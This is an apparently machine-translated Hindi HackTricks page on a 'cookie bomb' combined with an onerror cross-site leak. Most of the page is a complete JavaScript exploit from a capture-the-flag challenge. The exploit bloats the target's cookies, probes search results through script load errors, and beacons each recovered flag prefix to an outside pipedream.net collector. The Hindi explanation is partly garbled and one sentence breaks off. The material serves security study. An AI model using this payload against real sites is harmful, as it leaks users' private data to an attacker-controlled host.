Cookie Bomb + Onerror XS Leak

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

स्क्रिप्ट जो यहाँ से लिया गया है, एक फ़ंक्शनलिटी का शोधन कर रहा है जो उपयोगकर्ता को कुकी की किसी भी मात्रा को डालने की अनुमति देती है, और फिर एक फ़ाइल को एक स्क्रिप्ट के रूप में लोड करने की अनुमति देती है जानते हुए कि सच्ची प्रतिक्रिया झूठी प्रतिक्रिया से अधिक होगी और फिर। यदि सफल होता है, तो प्रतिक्रिया एक रीडायरेक्ट है जिसमें एक परिणामी URL लंबा होता है, सर्वर द्वारा संभालने के लिए बहुत बड़ा होता है ताकि एक त्रुटि http स्थिति कोड वापस दे। यदि खोज विफल होती है, तो कुछ नहीं होगा क्योंकि URL छोटा है।

<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Last updated